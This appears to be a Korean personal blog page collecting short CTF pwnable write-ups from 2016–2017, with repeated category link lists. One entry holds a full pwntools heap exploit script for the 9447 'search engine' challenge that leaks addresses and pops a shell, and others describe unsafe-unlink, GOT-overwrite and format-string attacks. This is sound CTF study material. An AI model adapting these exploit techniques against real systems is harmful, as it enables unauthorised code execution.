마지막 300점 짜리 포너블 문제의 경우 커맨드 인젝션이 있었고 필터링을 우회해서 플래그 읽으면 된다.

'Pwned > CTF' 카테고리의 다른 글

Hust 15th pwnables write up  (0) 2017.05.28
codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08

messenger


unsafe_unlink 문제인데 약간 꼼수를 썼다.


시나리오는 다음과 같이 세우고 익스플로잇을 했다.


1. heap의 주소를 릭. -> 힙 내부에 힙 주소를 지닌 값이 있으므로 인덱스 하나를 변경 해 힙 주소 바로 전 까지 이어 붙히면 같이 출력 되므로 힙 베이스를 얻을 수 있다.


2. 인덱스 삭제 -> 인덱스 삭제 시 printf@got를 힙 주소로 변경했다. 다만 힙 주소로 리턴을 해도 바로 쉘 코드를 이용 할 수 없는데 그 이유는 fd의 주소가 bk + 8의 주소로 남기 때문이었다. 따라서 이 것을 피해 쉘코드를 실행 하기 위해 jmp 0x16 즉 \xeb\x16를 이용했다. 이것의 아이디어는 seh overwrite를 했던 경험에서 얻었다 ㅋㅋ


3. shellcode 삽입 -> 쉘 획득




'Pwned > CTF' 카테고리의 다른 글

Hust 15th pwnables write up  (0) 2017.05.28
codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08

codegate 2017년 문제인 babypwn이다. 


취약점도 매우 간단한데 익스플로잇이 생각만큼 잘 되지 않아 금방 풀지는 못 했다.


이유는 리다이렉션때문으로, 쉘을 제대로 얻을 수 없었기 때문이다.



'Pwned > CTF' 카테고리의 다른 글

Hust 15th pwnables write up  (0) 2017.05.28
codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08

from pwn import *

from hexdump import *


import time


p = process("./search")


def stack_leak():

p.sendline("A" * 48)

p.sendline("B" * 48)


p.recvuntil("B" * 48)


stack_base = u64(p.recv(6) + "\x00\x00")

log.info("stack: " + hex(stack_base + 32))


return stack_base


def index(data):

p.sendline("2")

p.sendline(str(len(data)))

time.sleep(0.1)

p.sendline(data)


p.recvuntil("Quit\n")


def search(data, delete = False):

p.sendline("1")

p.sendline(str(len(data)))

time.sleep(0.1)

p.sendline(data)


while True:

if p.recvuntil("Found", timeout = 0.8) is not  "":

if delete == True:

p.sendline("y")

else:

p.sendline("n")

elif p.recvuntil("Found", timeout = 1.0) is "":

break


p.recvuntil("Quit\n")


def heap_leak(data):

p.sendline("1")

p.sendline("6")

p.sendline(data)


p.recvuntil("Found 32: ")


heaptr = u64(p.recv(4) + "\x00" * 4)

heap_base = heaptr & ~0xff

log.info("heap base: " + hex(heap_base))


p.sendline("n")


p.recvuntil("Quit\n")


return heap_base


def libc_leak(data):

p.sendline("1")

p.sendline(str(len(data)))

p.sendline(data)


p.recvuntil("Found 512: ")


libc_leak = u64(p.recv(6) + "\x00\x00")

libc_base = libc_leak - 0x2047b8 - 0x1ba000

log.info("libc base: " + hex(libc_base))


p.sendline("n")

p.sendline("n")

p.sendline("n")


p.recvuntil("Quit\n")


return libc_base


def pwn(stack_base, libc_base):

index("A" * 51 + " some")

index("B" * 51 + " some")

index("C" * 51 + " some")


search("some", delete = True)


p.sendline("1")

p.sendline("4")

p.sendline("\0" * 4)

p.sendline("y")

p.sendline("n")

p.recvuntil("Quit\n")


index(p64(stack_base + 0x52).ljust(50, "\0") + " pwned")


index("D" * 50 + " pwend")

index("E" * 50 + " pwned")


index("W" * 6 + p64(0x400896) * 3 + p64(libc_base + 0x4647C).ljust(56, "G"))


#p.sendline("3")

p.interactive()


def main():

stack_base = stack_leak()


index("A" * 25 + " plays")

index("B" * 25 + " plays")

index("C" * 32)


search("plays", delete = True)


#heap_base = heap_leak("\0" * 6)


index(("A" * 256 + " pwning ").ljust(512, "B"))


search("pwning", delete = True)


libc_base = libc_leak("\0" * 6)


pwn(stack_base, libc_base)


if __name__ =='__main__':

main()


문제 진짜 잘 만든거 같다. 


fake chunk 만드는 거 잘 안되서 와업 보고 풀었는데 내일 이거 다시 짜봐야겠다. 흠....

'Pwned > CTF' 카테고리의 다른 글

codegate 2017 messenger  (0) 2017.02.15
codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07

solo



 write up보고 풀었다.. 힙어렵다 ㅠ



'Pwned > CTF' 카테고리의 다른 글

codegate 2017 babypwn  (0) 2017.02.14
9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06

ez_heap


'Pwned > CTF' 카테고리의 다른 글

9447 CTF search engine  (0) 2017.01.11
2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06
2017 bob ctf casino  (0) 2017.01.05

pwn100



라이브러리 안줘서 개뻘짓했는데 어떻게 뻘 짓했는지는 설명안드림...


왜냐면 쪽팔리니까 ㅠ


버그는 두가지있는데 포맷스트링 버그를 이용해 머니를 100000으로 만든 뒤 gets함수에 있는 bof를 이용해 풀면 된다 




'Pwned > CTF' 카테고리의 다른 글

2016 chrismas ctf who is solo  (0) 2017.01.10
H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06
2017 bob ctf casino  (0) 2017.01.05
2017 bob ctf Megabox  (0) 2017.01.04

문제 의도는 딱 보였는데 eip 가 안 덮혀 당황했던 문제. 


종료해야 eip 덮히더라.....


최종 발표 때문에 깊게 생각 못하고 그냥 안 푼 문제. 

'Pwned > CTF' 카테고리의 다른 글

H3XOR CTF ezheap  (0) 2017.01.08
H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06
2017 bob ctf casino  (0) 2017.01.05
2017 bob ctf Megabox  (0) 2017.01.04
HDCON 시스템 1번 remote  (0) 2016.10.16

casino

libc-2.19.so


리버싱이 아니라 이 문제를 봤으면 ctf로 1등 했을 텐데...... ㅠㅠ



'Pwned > CTF' 카테고리의 다른 글

H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06
2017 bob ctf casino  (0) 2017.01.05
2017 bob ctf Megabox  (0) 2017.01.04
HDCON 시스템 1번 remote  (0) 2016.10.16
2016 화이트햇 콘테스트 malloc  (0) 2016.10.12

megabox

libc-2.19.so



'Pwned > CTF' 카테고리의 다른 글

H3XOR CTF Be rich  (0) 2017.01.07
HolyShield 7 pwn 100  (0) 2017.01.06
2017 bob ctf casino  (0) 2017.01.05
2017 bob ctf Megabox  (0) 2017.01.04
HDCON 시스템 1번 remote  (0) 2016.10.16
2016 화이트햇 콘테스트 malloc  (0) 2016.10.12

+ Recent posts